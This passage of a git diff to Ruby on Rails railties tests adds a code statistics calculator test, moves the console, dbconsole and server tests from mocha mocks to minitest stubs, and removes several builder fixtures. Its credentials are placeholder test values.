+ env["RUBYLIB"] = $:.join(':')
+
Dir.chdir(app_path) do
- `RUBYLIB='#{$:.join(':')}' #{Gem.ruby} #{args.join(' ')}`
+ `#{env_string(env)} #{Gem.ruby} #{args.join(' ')} 2>&1`
end
end
+
+ def env_string(variables)
+ variables.map do |key, value|
+ "#{key}='#{value}'"
+ end.join " "
+ end
end
end
diff --git a/railties/test/application/url_generation_test.rb b/railties/test/application/url_generation_test.rb
index 0905757442..ef16ab56ed 100644
--- a/railties/test/application/url_generation_test.rb
+++ b/railties/test/application/url_generation_test.rb
@@ -12,15 +12,16 @@ module ApplicationTests
boot_rails
require "rails"
require "action_controller/railtie"
+ require "action_view/railtie"
class MyApp < Rails::Application
- config.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
+ secrets.secret_key_base = "3b7cd727ee24e8444053437c36cc66c4"
config.session_store :cookie_store, key: "_myapp_session"
config.active_support.deprecation = :log
config.eager_load = false
end
- MyApp.initialize!
+ Rails.application.initialize!
class ::ApplicationController < ActionController::Base
end
diff --git a/railties/test/code_statistics_calculator_test.rb b/railties/test/code_statistics_calculator_test.rb
new file mode 100644
index 0000000000..b3eabf5024
--- /dev/null
+++ b/railties/test/code_statistics_calculator_test.rb
@@ -0,0 +1,288 @@
+require 'abstract_unit'
+require 'rails/code_statistics_calculator'
+
+class CodeStatisticsCalculatorTest < ActiveSupport::TestCase
+ def setup
+ @code_statistics_calculator = CodeStatisticsCalculator.new
+ end
+
+ test 'add statistics to another using #add' do
+ code_statistics_calculator_1 = CodeStatisticsCalculator.new(1, 2, 3, 4)
+ @code_statistics_calculator.add(code_statistics_calculator_1)
+
+ assert_equal 1, @code_statistics_calculator.lines
+ assert_equal 2, @code_statistics_calculator.code_lines
+ assert_equal 3, @code_statistics_calculator.classes
+ assert_equal 4, @code_statistics_calculator.methods
+
+ code_statistics_calculator_2 = CodeStatisticsCalculator.new(2, 3, 4, 5)
+ @code_statistics_calculator.add(code_statistics_calculator_2)
+
+ assert_equal 3, @code_statistics_calculator.lines
+ assert_equal 5, @code_statistics_calculator.code_lines
+ assert_equal 7, @code_statistics_calculator.classes
+ assert_equal 9, @code_statistics_calculator.methods
+ end
+
+ test 'accumulate statistics using #add_by_io' do
+ code_statistics_calculator_1 = CodeStatisticsCalculator.new(1, 2, 3, 4)
+ @code_statistics_calculator.add(code_statistics_calculator_1)
+
+ code = <<-'CODE'
+ def foo
+ puts 'foo'
+ end
+
+ def bar; end
+ class A; end
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+ assert_equal 7, @code_statistics_calculator.lines
+ assert_equal 7, @code_statistics_calculator.code_lines
+ assert_equal 4, @code_statistics_calculator.classes
+ assert_equal 6, @code_statistics_calculator.methods
+ end
+
+ test 'calculate statistics using #add_by_file_path' do
+ tmp_path = File.expand_path(File.join(File.dirname(__FILE__), 'fixtures', 'tmp'))
+ FileUtils.mkdir_p(tmp_path)
+
+ code = <<-'CODE'
+ def foo
+ puts 'foo'
+ # bar
+ end
+ CODE
+
+ file_path = "#{tmp_path}/stats.rb"
+ File.open(file_path, 'w') { |f| f.write(code) }
+
+ @code_statistics_calculator.add_by_file_path(file_path)
+
+ assert_equal 4, @code_statistics_calculator.lines
+ assert_equal 3, @code_statistics_calculator.code_lines
+ assert_equal 0, @code_statistics_calculator.classes
+ assert_equal 1, @code_statistics_calculator.methods
+
+ FileUtils.rm_rf(tmp_path)
+ end
+
+ test 'calculate number of Ruby methods' do
+ code = <<-'CODE'
+ def foo
+ puts 'foo'
+ end
+
+ def bar; end
+
+ class Foo
+ def bar(abc)
+ end
+ end
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+ assert_equal 3, @code_statistics_calculator.methods
+ end
+
+ test 'calculate Ruby LOCs' do
+ code = <<-'CODE'
+ def foo
+ puts 'foo'
+ end
+
+ # def bar; end
+
+ class A < B
+ end
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+ assert_equal 8, @code_statistics_calculator.lines
+ assert_equal 5, @code_statistics_calculator.code_lines
+ end
+
+ test 'calculate number of Ruby classes' do
+ code = <<-'CODE'
+ class Foo < Bar
+ def foo
+ puts 'foo'
+ end
+ end
+
+ class Z; end
+
+ # class A
+ # end
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+ assert_equal 2, @code_statistics_calculator.classes
+ end
+
+ test 'skip Ruby comments' do
+ code = <<-'CODE'
+=begin
+ class Foo
+ def foo
+ puts 'foo'
+ end
+ end
+=end
+
+ # class A
+ # end
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :rb)
+
+ assert_equal 10, @code_statistics_calculator.lines
+ assert_equal 0, @code_statistics_calculator.code_lines
+ assert_equal 0, @code_statistics_calculator.classes
+ assert_equal 0, @code_statistics_calculator.methods
+ end
+
+ test 'calculate number of JS methods' do
+ code = <<-'CODE'
+ function foo(x, y, z) {
+ doX();
+ }
+
+ $(function () {
+ bar();
+ })
+
+ var baz = function ( x ) {
+ }
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :js)
+
+ assert_equal 3, @code_statistics_calculator.methods
+ end
+
+ test 'calculate JS LOCs' do
+ code = <<-'CODE'
+ function foo()
+ alert('foo');
+ end
+
+ // var b = 2;
+
+ var a = 1;
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :js)
+
+ assert_equal 7, @code_statistics_calculator.lines
+ assert_equal 4, @code_statistics_calculator.code_lines
+ end
+
+ test 'skip JS comments' do
+ code = <<-'CODE'
+ /*
+ * var f = function () {
+ 1 / 2;
+ }
+ */
+
+ // call();
+ //
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :js)
+
+ assert_equal 8, @code_statistics_calculator.lines
+ assert_equal 0, @code_statistics_calculator.code_lines
+ assert_equal 0, @code_statistics_calculator.classes
+ assert_equal 0, @code_statistics_calculator.methods
+ end
+
+ test 'calculate number of CoffeeScript methods' do
+ code = <<-'CODE'
+ square = (x) -> x * x
+
+ math =
+ cube: (x) -> x * square x
+
+ fill = (container, liquid = "coffee") ->
+ "Filling the #{container} with #{liquid}..."
+
+ $('.shopping_cart').bind 'click', (event) =>
+ @customer.purchase @cart
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :coffee)
+
+ assert_equal 4, @code_statistics_calculator.methods
+ end
+
+ test 'calculate CoffeeScript LOCs' do
+ code = <<-'CODE'
+ # Assignment:
+ number = 42
+ opposite = true
+
+ ###
+ CoffeeScript Compiler v1.4.0
+ Released under the MIT License
+ ###
+
+ # Conditions:
+ number = -42 if opposite
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :coffee)
+
+ assert_equal 11, @code_statistics_calculator.lines
+ assert_equal 3, @code_statistics_calculator.code_lines
+ end
+
+ test 'calculate number of CoffeeScript classes' do
+ code = <<-'CODE'
+ class Animal
+ constructor: (@name) ->
+
+ move: (meters) ->
+ alert @name + " moved #{meters}m."
+
+ class Snake extends Animal
+ move: ->
+ alert "Slithering..."
+ super 5
+
+ # class Horse
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :coffee)
+
+ assert_equal 2, @code_statistics_calculator.classes
+ end
+
+ test 'skip CoffeeScript comments' do
+ code = <<-'CODE'
+###
+class Animal
+ constructor: (@name) ->
+
+ move: (meters) ->
+ alert @name + " moved #{meters}m."
+ ###
+
+ # class Horse
+ alert 'hello'
+ CODE
+
+ @code_statistics_calculator.add_by_io(StringIO.new(code), :coffee)
+
+ assert_equal 10, @code_statistics_calculator.lines
+ assert_equal 1, @code_statistics_calculator.code_lines
+ assert_equal 0, @code_statistics_calculator.classes
+ assert_equal 0, @code_statistics_calculator.methods
+ end
+end
diff --git a/railties/test/commands/console_test.rb b/railties/test/commands/console_test.rb
index 9e449856f4..4aea3e980f 100644
--- a/railties/test/commands/console_test.rb
+++ b/railties/test/commands/console_test.rb
@@ -6,7 +6,13 @@ class Rails::ConsoleTest < ActiveSupport::TestCase
include EnvHelpers
class FakeConsole
- def self.start; end
+ def self.started?
+ @started
+ end
+
+ def self.start
+ @started = true
+ end
end
def test_sandbox_option
@@ -19,37 +25,47 @@ class Rails::ConsoleTest < ActiveSupport::TestCase
assert console.sandbox?
end
- def test_debugger_option
- console = Rails::Console.new(app, parse_arguments(["--debugger"]))
- assert console.debugger?
- end
-
def test_no_options
console = Rails::Console.new(app, parse_arguments([]))
- assert !console.debugger?
assert !console.sandbox?
end
def test_start
- FakeConsole.expects(:start)
start
+
+ assert app.console.started?
assert_match(/Loading \w+ environment \(Rails/, output)
end
- def test_start_with_debugger
- rails_console = Rails::Console.new(app, parse_arguments(["--debugger"]))
- rails_console.expects(:require_debugger).returns(nil)
+ def test_start_with_sandbox
+ start ["--sandbox"]
- silence_stream(STDOUT) { rails_console.start }
+
+ assert app.console.started?
+ assert app.sandbox
+ assert_match(/Loading \w+ environment in sandbox \(Rails/, output)
end
- def test_start_with_sandbox
- app.expects(:sandbox=).with(true)
- FakeConsole.expects(:start)
+ if RUBY_VERSION < '2.0.0'
+ def test_debugger_option
+ console = Rails::Console.new(app, parse_arguments(["--debugger"]))
+ assert console.debugger?
+ end
- start ["--sandbox"]
+ def test_no_options_does_not_set_debugger_flag
+ console = Rails::Console.new(app, parse_arguments([]))
+ assert !console.debugger?
+ end
- assert_match(/Loading \w+ environment in sandbox \(Rails/, output)
+ def test_start_with_debugger
+ stubbed_console = Class.new(Rails::Console) do
+ def require_debugger
+ end
+ end
+
+ rails_console = stubbed_console.new(app, parse_arguments(["--debugger"]))
+ silence_stream(STDOUT) { rails_console.start }
+ end
end
def test_console_with_environment
@@ -58,10 +74,7 @@ class Rails::ConsoleTest < ActiveSupport::TestCase
end
def test_console_defaults_to_IRB
- config = mock("config", console: nil)
- app = mock("app", config: config)
- app.expects(:load_console).returns(nil)
-
+ app = build_app(nil)
assert_equal IRB, Rails::Console.new(app).console
end
@@ -111,9 +124,20 @@ class Rails::ConsoleTest < ActiveSupport::TestCase
assert_match(/\sdevelopment\s/, output)
end
- private
+ def test_rails_env_is_dev_when_argument_is_dev_and_dev_env_is_present
+ stubbed_console = Class.new(Rails::Console) do
+ def available_environments
+ ['dev']
+ end
+ end
+ options = stubbed_console.parse_arguments(['dev'])
+ assert_match('dev', options[:environment])
+ end
attr_reader :output
+ private :output
+
+ private
def start(argv = [])
rails_console = Rails::Console.new(app, parse_arguments(argv))
@@ -121,13 +145,29 @@ class Rails::ConsoleTest < ActiveSupport::TestCase
end
def app
- @app ||= begin
- config = mock("config", console: FakeConsole)
- app = mock("app", config: config)
- app.stubs(:sandbox=).returns(nil)
- app.expects(:load_console)
- app
+ @app ||= build_app(FakeConsole)
+ end
+
+ def build_app(console)
+ mocked_console = Class.new do
+ attr_reader :sandbox, :console
+
+ def initialize(console)
+ @console = console
+ end
+
+ def config
+ self
+ end
+
+ def sandbox=(arg)
+ @sandbox = arg
+ end
+
+ def load_console
+ end
end
+ mocked_console.new(console)
end
def parse_arguments(args)
diff --git a/railties/test/commands/dbconsole_test.rb b/railties/test/commands/dbconsole_test.rb
index 6316584825..a3cd1eb0ed 100644
--- a/railties/test/commands/dbconsole_test.rb
+++ b/railties/test/commands/dbconsole_test.rb
@@ -1,78 +1,149 @@
require 'abstract_unit'
+require 'minitest/mock'
require 'rails/commands/dbconsole'
class Rails::DBConsoleTest < ActiveSupport::TestCase
- def teardown
- %w[PGUSER PGHOST PGPORT PGPASSWORD].each{|key| ENV.delete(key)}
- end
- def test_config
- Rails::DBConsole.const_set(:APP_PATH, "erb")
- app_config({})
- capture_abort { Rails::DBConsole.new.config }
- assert aborted
- assert_match(/No database is configured for the environment '\w+'/, output)
+ def setup
+ Rails::DBConsole.const_set('APP_PATH', 'rails/all')
+ end
+
+ def teardown
+ Rails::DBConsole.send(:remove_const, 'APP_PATH')
+ %w[PGUSER PGHOST PGPORT PGPASSWORD DATABASE_URL].each{|key| ENV.delete(key)}
+ end
- app_config(test: "with_init")
- assert_equal Rails::DBConsole.new.config, "with_init"
+ def test_config_with_db_config_only
+ config_sample = {
+ "test"=> {
+ "adapter"=> "sqlite3",
+ "host"=> "localhost",
+ "port"=> "9000",
+ "database"=> "foo_test",
+ "user"=> "foo",
+ "password"=> "bar",
+ "pool"=> "5",
+ "timeout"=> "3000"
+ }
+ }
+ app_db_config(config_sample) do
+ assert_equal config_sample["test"], Rails::DBConsole.new.config
+ end
+ end
- app_db_file("test:\n without_init")
- assert_equal Rails::DBConsole.new.config, "without_init"
+ def test_config_with_no_db_config
+ app_db_config(nil) do
+ assert_raise(ActiveRecord::AdapterNotSpecified) {
+ Rails::DBConsole.new.config
+ }
+ end
+ end
- app_db_file("test:\n <%= Rails.something_app_specific %>")
- assert_equal Rails::DBConsole.new.config, "with_init"
+ def test_config_with_database_url_only
+ ENV['DATABASE_URL'] = 'postgresql://foo:bar@localhost:9000/foo_test?pool=5&timeout=3000'
+ expected = {
+ "adapter" => "postgresql",
+ "host" => "localhost",
+ "port" => 9000,
+ "database" => "foo_test",
+ "username" => "foo",
+ "password" => "bar",
+ "pool" => "5",
+ "timeout" => "3000"
+ }.sort
+
+ app_db_config(nil) do
+ assert_equal expected, Rails::DBConsole.new.config.sort
+ end
+ end
- app_db_file("test:\n\ninvalid")
- assert_equal Rails::DBConsole.new.config, "with_init"
+ def test_config_choose_database_url_if_exists
+ host = "database-url-host.com"
+ ENV['DATABASE_URL'] = "postgresql://foo:bar@#{host}:9000/foo_test?pool=5&timeout=3000"
+ sample_config = {
+ "test" => {
+ "adapter" => "postgresql",
+ "host" => "not-the-#{host}",
+ "port" => 9000,
+ "database" => "foo_test",
+ "username" => "foo",
+ "password" => "bar",
+ "pool" => "5",
+ "timeout" => "3000"
+ }
+ }
+ app_db_config(sample_config) do
+ assert_equal host, Rails::DBConsole.new.config["host"]
+ end
end
def test_env
- assert_equal Rails::DBConsole.new.environment, "test"
+ assert_equal "test", Rails::DBConsole.new.environment
ENV['RAILS_ENV'] = nil
ENV['RACK_ENV'] = nil
- Rails.stubs(:respond_to?).with(:env).returns(false)
- assert_equal Rails::DBConsole.new.environment, "development"
+ Rails.stub(:respond_to?, false) do
+ assert_equal "development", Rails::DBConsole.new.environment
- ENV['RACK_ENV'] = "rack_env"
- assert_equal Rails::DBConsole.new.environment, "rack_env"
+ ENV['RACK_ENV'] = "rack_env"
+ assert_equal "rack_env", Rails::DBConsole.new.environment
- ENV['RAILS_ENV'] = "rails_env"
- assert_equal Rails::DBConsole.new.environment, "rails_env"
+ ENV['RAILS_ENV'] = "rails_env"
+ assert_equal "rails_env", Rails::DBConsole.new.environment
+ end
ensure
ENV['RAILS_ENV'] = "test"
+ ENV['RACK_ENV'] = nil
+ end
+
+ def test_rails_env_is_development_when_argument_is_dev
+ dbconsole = Rails::DBConsole.new
+
+ dbconsole.stub(:available_environments, ['development', 'test']) do
+ options = dbconsole.send(:parse_arguments, ['dev'])
+ assert_match('development', options[:environment])
+ end
+ end
+
+ def test_rails_env_is_dev_when_argument_is_dev_and_dev_env_is_present
+ dbconsole = Rails::DBConsole.new
+
+ dbconsole.stub(:available_environments, ['dev']) do
+ options = dbconsole.send(:parse_arguments, ['dev'])
+ assert_match('dev', options[:environment])
+ end
end
def test_mysql
- dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], 'db')
start(adapter: 'mysql', database: 'db')
assert !aborted
+ assert_equal [%w[mysql mysql5], 'db'], dbconsole.find_cmd_and_exec_args
end
def test_mysql_full
- dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], '--host=locahost', '--port=1234', '--socket=socket', '--user=user', '--default-character-set=UTF-8', '-p', 'db')
start(adapter: 'mysql', database: 'db', host: 'locahost', port: 1234, socket: 'socket', username: 'user', password: 'qwerty', encoding: 'UTF-8')
assert !aborted
+ assert_equal [%w[mysql mysql5], '--host=locahost', '--port=1234', '--socket=socket', '--user=user', '--default-character-set=UTF-8', '-p', 'db'], dbconsole.find_cmd_and_exec_args
end
def test_mysql_include_password
- dbconsole.expects(:find_cmd_and_exec).with(%w[mysql mysql5], '--user=user', '--password=qwerty', 'db')
start({adapter: 'mysql', database: 'db', username: 'user', password: 'qwerty'}, ['-p'])
assert !aborted
+ assert_equal [%w[mysql mysql5], '--user=user', '--password=qwerty', 'db'], dbconsole.find_cmd_and_exec_args
end
def test_postgresql
- dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
start(adapter: 'postgresql', database: 'db')
assert !aborted
+ assert_equal ['psql', 'db'], dbconsole.find_cmd_and_exec_args
end
def test_postgresql_full
- dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
start(adapter: 'postgresql', database: 'db', username: 'user', password: 'q1w2e3', host: 'host', port: 5432)
assert !aborted
+ assert_equal ['psql', 'db'], dbconsole.find_cmd_and_exec_args
assert_equal 'user', ENV['PGUSER']
assert_equal 'host', ENV['PGHOST']
assert_equal '5432', ENV['PGPORT']
@@ -80,60 +151,60 @@ class Rails::DBConsoleTest < ActiveSupport::TestCase
end
def test_postgresql_include_password
- dbconsole.expects(:find_cmd_and_exec).with('psql', 'db')
start({adapter: 'postgresql', database: 'db', username: 'user', password: 'q1w2e3'}, ['-p'])
assert !aborted
+ assert_equal ['psql', 'db'], dbconsole.find_cmd_and_exec_args
assert_equal 'user', ENV['PGUSER']
assert_equal 'q1w2e3', ENV['PGPASSWORD']
end
def test_sqlite
- dbconsole.expects(:find_cmd_and_exec).with('sqlite', 'db')
start(adapter: 'sqlite', database: 'db')
assert !aborted
+ assert_equal ['sqlite', 'db'], dbconsole.find_cmd_and_exec_args
end
def test_sqlite3
- dbconsole.expects(:find_cmd_and_exec).with('sqlite3', Rails.root.join('db.sqlite3').to_s)
start(adapter: 'sqlite3', database: 'db.sqlite3')
assert !aborted
+ assert_equal ['sqlite3', Rails.root.join('db.sqlite3').to_s], dbconsole.find_cmd_and_exec_args
end
def test_sqlite3_mode
- dbconsole.expects(:find_cmd_and_exec).with('sqlite3', '-html', Rails.root.join('db.sqlite3').to_s)
start({adapter: 'sqlite3', database: 'db.sqlite3'}, ['--mode', 'html'])
assert !aborted
+ assert_equal ['sqlite3', '-html', Rails.root.join('db.sqlite3').to_s], dbconsole.find_cmd_and_exec_args
end
def test_sqlite3_header
- dbconsole.expects(:find_cmd_and_exec).with('sqlite3', '-header', Rails.root.join('db.sqlite3').to_s)
start({adapter: 'sqlite3', database: 'db.sqlite3'}, ['--header'])
+ assert_equal ['sqlite3', '-header', Rails.root.join('db.sqlite3').to_s], dbconsole.find_cmd_and_exec_args
end
def test_sqlite3_db_absolute_path
- dbconsole.expects(:find_cmd_and_exec).with('sqlite3', '/tmp/db.sqlite3')
start(adapter: 'sqlite3', database: '/tmp/db.sqlite3')
assert !aborted
+ assert_equal ['sqlite3', '/tmp/db.sqlite3'], dbconsole.find_cmd_and_exec_args
end
def test_sqlite3_db_without_defined_rails_root
- Rails.stubs(:respond_to?)
- Rails.expects(:respond_to?).with(:root).once.returns(false)
- dbconsole.expects(:find_cmd_and_exec).with('sqlite3', Rails.root.join('../config/db.sqlite3').to_s)
- start(adapter: 'sqlite3', database: 'config/db.sqlite3')
- assert !aborted
+ Rails.stub(:respond_to?, false) do
+ start(adapter: 'sqlite3', database: 'config/db.sqlite3')
+ assert !aborted
+ assert_equal ['sqlite3', Rails.root.join('../config/db.sqlite3').to_s], dbconsole.find_cmd_and_exec_args
+ end
end
def test_oracle
- dbconsole.expects(:find_cmd_and_exec).with('sqlplus', 'user@db')
start(adapter: 'oracle', database: 'db', username: 'user', password: 'secret')
assert !aborted
+ assert_equal ['sqlplus', 'user@db'], dbconsole.find_cmd_and_exec_args
end
def test_oracle_include_password
- dbconsole.expects(:find_cmd_and_exec).with('sqlplus', 'user/secret@db')
start({adapter: 'oracle', database: 'db', username: 'user', password: 'secret'}, ['-p'])
assert !aborted
+ assert_equal ['sqlplus', 'user/secret@db'], dbconsole.find_cmd_and_exec_args
end
def test_unknown_command_line_client
@@ -160,16 +231,33 @@ class Rails::DBConsoleTest < ActiveSupport::TestCase
assert_match(/Usage:.*dbconsole/, stdout)
end
- private
attr_reader :aborted, :output
+ private :aborted, :output
+
+ private
+
+ def app_db_config(results)
+ Rails.application.config.stub(:database_configuration, results || {}) do
+ yield
+ end
+ end
def dbconsole
- @dbconsole ||= Rails::DBConsole.new(nil)
+ @dbconsole ||= Class.new(Rails::DBConsole) do
+ attr_reader :find_cmd_and_exec_args
+
+ def find_cmd_and_exec(*args)
+ @find_cmd_and_exec_args = args
+ end
+ end.new(nil)
end
def start(config = {}, argv = [])
- dbconsole.stubs(config: config.stringify_keys, arguments: argv)
- capture_abort { dbconsole.start }
+ dbconsole.stub(:config, config.stringify_keys) do
+ dbconsole.stub(:arguments, argv) do
+ capture_abort { dbconsole.start }
+ end
+ end
end
def capture_abort
@@ -183,11 +271,4 @@ class Rails::DBConsoleTest < ActiveSupport::TestCase
end
end
- def app_db_file(result)
- IO.stubs(:read).with("config/database.yml").returns(result)
- end
-
- def app_config(result)
- Rails.application.config.stubs(:database_configuration).returns(result.stringify_keys)
- end
end
diff --git a/railties/test/commands/server_test.rb b/railties/test/commands/server_test.rb
index cb57b3c0cd..ba688f1e9e 100644
--- a/railties/test/commands/server_test.rb
+++ b/railties/test/commands/server_test.rb
@@ -27,16 +27,62 @@ class Rails::ServerTest < ActiveSupport::TestCase
end
def test_environment_with_rails_env
- with_rails_env 'production' do
- server = Rails::Server.new
- assert_equal 'production', server.options[:environment]
+ with_rack_env nil do
+ with_rails_env 'production' do
+ server = Rails::Server.new
+ assert_equal 'production', server.options[:environment]
+ end
end
end
def test_environment_with_rack_env
- with_rack_env 'production' do
- server = Rails::Server.new
- assert_equal 'production', server.options[:environment]
+ with_rails_env nil do
+ with_rack_env 'production' do
+ server = Rails::Server.new
+ assert_equal 'production', server.options[:environment]
+ end
+ end
+ end
+
+ def test_log_stdout
+ with_rack_env nil do
+ with_rails_env nil do
+ args = []
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal true, options[:log_stdout]
+
+ args = ["-e", "development"]
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal true, options[:log_stdout]
+
+ args = ["-e", "production"]
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal false, options[:log_stdout]
+
+ with_rack_env 'development' do
+ args = []
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal true, options[:log_stdout]
+ end
+
+ with_rack_env 'production' do
+ args = []
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal false, options[:log_stdout]
+ end
+
+ with_rails_env 'development' do
+ args = []
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal true, options[:log_stdout]
+ end
+
+ with_rails_env 'production' do
+ args = []
+ options = Rails::Server::Options.new.parse!(args)
+ assert_equal false, options[:log_stdout]
+ end
+ end
end
end
end
diff --git a/railties/test/configuration/middleware_stack_proxy_test.rb b/railties/test/configuration/middleware_stack_proxy_test.rb
index 5984c0b425..d5072614cf 100644
--- a/railties/test/configuration/middleware_stack_proxy_test.rb
+++ b/railties/test/configuration/middleware_stack_proxy_test.rb
@@ -1,6 +1,8 @@
-require 'minitest/autorun'
+require 'active_support'
+require 'active_support/testing/autorun'
require 'rails/configuration'
require 'active_support/test_case'
+require 'minitest/mock'
module Rails
module Configuration
@@ -38,7 +40,7 @@ module Rails
@stack.swap :foo
@stack.delete :foo
- mock = MiniTest::Mock.new
+ mock = Minitest::Mock.new
mock.expect :send, nil, [:swap, :foo]
mock.expect :send, nil, [:delete, :foo]
@@ -49,7 +51,7 @@ module Rails
private
def assert_playback(msg_name, args)
- mock = MiniTest::Mock.new
+ mock = Minitest::Mock.new
mock.expect :send, nil, [msg_name, args]
@stack.merge_into(mock)
mock.verify
diff --git a/railties/test/engine_test.rb b/railties/test/engine_test.rb
index addf49cdb6..f46fb748f5 100644
--- a/railties/test/engine_test.rb
+++ b/railties/test/engine_test.rb
@@ -1,7 +1,7 @@
require 'abstract_unit'
class EngineTest < ActiveSupport::TestCase
- it "reports routes as available only if they're actually present" do
+ test "reports routes as available only if they're actually present" do
engine = Class.new(Rails::Engine) do
def initialize(*args)
@routes = nil
@@ -11,4 +11,15 @@ class EngineTest < ActiveSupport::TestCase
assert !engine.routes?
end
+
+ def test_application_can_be_subclassed
+ klass = Class.new(Rails::Application) do
+ attr_reader :hello
+ def initialize
+ @hello = "world"
+ super
+ end
+ end
+ assert_equal "world", klass.instance.hello
+ end
end
diff --git a/railties/test/env_helpers.rb b/railties/test/env_helpers.rb
index 6223c85bbf..330fe150ca 100644
--- a/railties/test/env_helpers.rb
+++ b/railties/test/env_helpers.rb
@@ -1,7 +1,10 @@
+require 'rails'
+
module EnvHelpers
private
def with_rails_env(env)
+ Rails.instance_variable_set :@_env, nil
switch_env 'RAILS_ENV', env do
switch_env 'RACK_ENV', nil do
yield
@@ -10,6 +13,7 @@ module EnvHelpers
end
def with_rack_env(env)
+ Rails.instance_variable_set :@_env, nil
switch_env 'RACK_ENV', env do
switch_env 'RAILS_ENV', nil do
yield
diff --git a/railties/test/fixtures/lib/app_builders/empty_builder.rb b/railties/test/fixtures/lib/app_builders/empty_builder.rb
deleted file mode 100644
index babd9c2461..0000000000
--- a/railties/test/fixtures/lib/app_builders/empty_builder.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class AppBuilder
-end \ No newline at end of file
diff --git a/railties/test/fixtures/lib/app_builders/simple_builder.rb b/railties/test/fixtures/lib/app_builders/simple_builder.rb
deleted file mode 100644
index 993d3a2aa2..0000000000
--- a/railties/test/fixtures/lib/app_builders/simple_builder.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class AppBuilder
- def gitignore
- create_file ".gitignore", <<-R.strip
-foobar
- R
- end
-end
diff --git a/railties/test/fixtures/lib/app_builders/tweak_builder.rb b/railties/test/fixtures/lib/app_builders/tweak_builder.rb
deleted file mode 100644
index cb50be01cb..0000000000
--- a/railties/test/fixtures/lib/app_builders/tweak_builder.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class AppBuilder < Rails::AppBuilder
- def gitignore
- create_file ".gitignore", <<-R.strip
-foobar
- R
- end
-end
diff --git a/railties/test/fixtures/lib/plugin_builders/empty_builder.rb b/railties/test/fixtures/lib/plugin_builders/empty_builder.rb
deleted file mode 100644
index 5c5607621c..0000000000
--- a/railties/test/fixtures/lib/plugin_builders/empty_builder.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class PluginBuilder
-end
diff --git a/railties/test/fixtures/lib/plugin_builders/simple_builder.rb b/railties/test/fixtures/lib/plugin_builders/simple_builder.rb
deleted file mode 100644
index 08f6c5535d..0000000000
--- a/railties/test/fixtures/lib/plugin_builders/simple_builder.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class PluginBuilder
- def gitignore
- create_file ".gitignore", <<-R.strip
-foobar
- R
- end
-end
diff --git a/railties/test/fixtures/lib/plugin_builders/spec_builder.rb b/railties/test/fixtures/lib/plugin_builders/spec_builder.rb
deleted file mode 100644
index 2721429599..0000000000
--- a/railties/test/fixtures/lib/plugin_builders/spec_builder.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-class PluginBuilder < Rails::PluginBuilder
- def test
- create_file "spec/spec_helper.rb"
- append_file "Rakefile", <<-EOF
-# spec tasks in rakefile
-
-task default: :spec
- EOF
- end
-
- def generate_test_dummy
- dummy_path("spec/dummy")
- super
- end
-
- def skip_test_unit?
- true
- end
-end
diff --git a/railties/test/fixtures/lib/plugin_builders/tweak_builder.rb b/railties/test/fixtures/lib/plugin_builders/tweak_builder.rb
deleted file mode 100644
index 1e801409a4..0000000000
--- a/railties/test/fixtures/lib/plugin_builders/tweak_builder.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class PluginBuilder < Rails::PluginBuilder
- def gitignore
- create_file ".gitignore", <<-R.strip
-foobar
- R
- end
-end
diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb
index 54734ed260..2206e389b5 100644
--- a/railties/test/generators/actions_test.rb
+++ b/railties/test/generators/actions_test.rb
@@ -1,6 +1,7 @@
require 'generators/generators_test_helper'
require 'rails/generators/rails/app/app_generator'
require 'env_helpers'
+require 'mocha/setup' # FIXME: stop using mocha
class ActionsTest < Rails::Generators::TestCase
include GeneratorsTestHelper
@@ -41,13 +42,13 @@ class ActionsTest < Rails::Generators::TestCase
def test_add_source_adds_source_to_gemfile
run_generator
action :add_source, 'http://gems.github.com'
- assert_file 'Gemfile', /source "http:\/\/gems\.github\.com"/
+ assert_file 'Gemfile', /source 'http:\/\/gems\.github\.com'/
end
def test_gem_should_put_gem_dependency_in_gemfile
run_generator
action :gem, 'will-paginate'
- assert_file 'Gemfile', /gem "will\-paginate"/
+ assert_file 'Gemfile', /gem 'will\-paginate'/
end
def test_gem_with_version_should_include_version_in_gemfile
@@ -55,7 +56,7 @@ class ActionsTest < Rails::Generators::TestCase
action :gem, 'rspec', '>=2.0.0.a5'
- assert_file 'Gemfile', /gem "rspec", ">=2.0.0.a5"/
+ assert_file 'Gemfile', /gem 'rspec', '>=2.0.0.a5'/
end
def test_gem_should_insert_on_separate_lines
@@ -66,8 +67,8 @@ class ActionsTest < Rails::Generators::TestCase
action :gem, 'rspec'
action :gem, 'rspec-rails'
- assert_file 'Gemfile', /^gem "rspec"$/
- assert_file 'Gemfile', /^gem "rspec-rails"$/
+ assert_file 'Gemfile', /^gem 'rspec'$/
+ assert_file 'Gemfile', /^gem 'rspec-rails'$/
end
def test_gem_should_include_options
@@ -75,7 +76,25 @@ class ActionsTest < Rails::Generators::TestCase
